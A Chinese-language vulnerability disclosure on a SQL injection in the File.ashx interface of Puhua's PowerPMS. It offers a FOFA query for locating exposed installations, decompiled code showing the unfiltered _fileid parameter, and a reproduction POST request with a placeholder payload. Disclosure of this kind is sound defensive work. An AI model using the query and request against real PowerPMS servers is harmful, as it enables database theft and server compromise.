漏洞简介
普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统File.ashx接口存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"
漏洞分析
根据File.ashx的代码引用找到Power.PMS.dll里面的PowerPlat.Control.File实现
public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData)
{
if (string.op_Inequality(ConfigurationManager.AppSettings["Power.CloseThreedUnique"], "true"))
Helper.SetThreedUnique();
return (IAsyncResult) BeginProcess.BeginProcessRequest(context, cb, extraData, File.MaxUploadBigFileNum, File.FileList);
}
跟进 BeginProcess.BeginProcessRequest
public static AsyncFileResult BeginProcessRequest(
HttpContext context,
AsyncCallback cb,
object extraData,
long MaxUploadBigFileNum,
Hashtable FileList)
{
Helper.SetThreedUnique();
try
{
AsyncUploadFile auf = new AsyncUploadFile();
string str1 = RequestHelper.GetString("action");
auf.context = context;
auf.FileId = RequestHelper.GetString("_fileid");
auf.Start = RequestHelper.GetLong("_start", 0L);
auf.End = RequestHelper.GetLong("_end", 0L);
auf.Total = RequestHelper.GetLong("_total", 0L);
auf.FileCode = RequestHelper.GetString("FileCode");
auf.FileName = RequestHelper.GetString("_filename");
auf.uploadType = FileHelper.GetUploadType(context);
auf.KeyValue = RequestHelper.GetString("KeyValue");
auf.TemplateId = RequestHelper.GetString("TemplateId");
auf.KeyWord = RequestHelper.GetString("KeyWord");
auf.FilesHash = RequestHelper.GetString("_FilesHash");
auf.EntityFilesid = RequestHelper.GetString("_EntityFilesid");
auf.serverPath = RequestHelper.GetString("serverPath");
auf.SmFileStatus = RequestHelper.GetString("SmFileStatus");
auf.uploadExtAction = RequestHelper.GetString("uploadExtAction");
UploadAction uploadAction = UploadAction.Normal;
Enum.TryParse<UploadAction>(RequestHelper.GetString("uploadActionWhenExists"), ref uploadAction);
auf.uploadActionWhenExists = uploadAction;
string str2 = Guid.NewGuid().ToString();
context.Session.Add("traceid", (object) str2);
auf.LibCode = RequestHelper.GetString("libid");
FtpHelper.WriteFileLog($"traceid:{str2}_开始_{str1}_{auf.FileId}");
if (auf.LibCode == null || string.IsNullOrEmpty(auf.LibCode))
auf.LibCode = FileHelper.GetLibId(context);
IUpLoadFile postedFile = FileHelper.GetPostedFile(context, auf.LibCode);
AsyncFileResult result = new AsyncFileResult();
if (auf.uploadType != UploadType.Other && auf.LibCode.Length == 36 && !EntityFilesLibHelper.GetExist(auf.LibCode))
{
result.Message = "文件库无效或未启用";
Power.Global.ViewResultModel viewResultModel = Power.Global.ViewResultModel.Create(false, "文件库无效或未启用");
viewResultModel.data = new Hashtable();
viewResultModel.data[(object) "CheckUploadFail"] = (object) true;
context.Response.Write(viewResultModel.ToJson());
return result;
}
if (string.op_Equality(str1, "upload"))
result = Upload.UploadFiles(context, cb, auf, result, MaxUploadBigFileNum, FileList, postedFile);
else if (string.op_Equality(str1, "download"))
result = Download.DownloadFiles(context, cb, auf, result, postedFile);
else if (string.op_Equality(str1, "topdf"))
result = Topdf.TopdfFiles(context, cb, auf, result, postedFile);
else if (string.op_Equality(str1, "browser"))
result = Browser.BrowserFiles(context, cb, auf, result, postedFile);
else if (string.op_Equality(str1, "delete"))
result = Delete.DeleteFiles(context, auf, result, postedFile);
else if (string.op_Equality(str1, "zip"))
Zipfile.ZipfileFiles(context);
else if (string.op_Equality(str1, "copyfile"))
{
result = Copyfile.CopyfileFiles(context, auf, result, postedFile);
}
else
{
Power.Global.Files.ViewResultModel viewResultModel = Power.Global.Files.ViewResultModel.Create(false, "数据包异常");
context.Response.Write(viewResultModel.ToJson());
return result;
}
return result;
}
catch (Exception ex)
{
throw ex;
}
}
根据 action 执行具体操作,当action=download、browser、topdf、delete等时,
以DownloadFiles为例
public static AsyncFileResult DownloadFiles(
HttpContext context,
AsyncCallback cb,
AsyncUploadFile auf,
AsyncFileResult result,
IUpLoadFile httpUploadFile)
{
try
{
auf.Action = FileAction.Download;
IBaseBusiness byKey = BusinessFactory.CreateBusinessOperate("DocFile").FindByKey((object) auf.FileId, SearchFlag.IgnoreRight);
if (byKey != null)
_fileid参数(auf)使用FindByKey查找,无过滤或校验,因此造成SQL注入漏洞,就是朴实无华。
漏洞复现
POST /PowerPlat/Control/File.ashx HTTP/1.1
Host: powerpms.mrxn.net
Content-Type: application/x-www-form-urlencoded
NoCheckSession=true&ServerOperatorType=OpenRecord&_fileid=SQLI_POC&_type=ftp&action=topdf&sessionid=1

通过报错注入成功在响应回显数据库版本信息

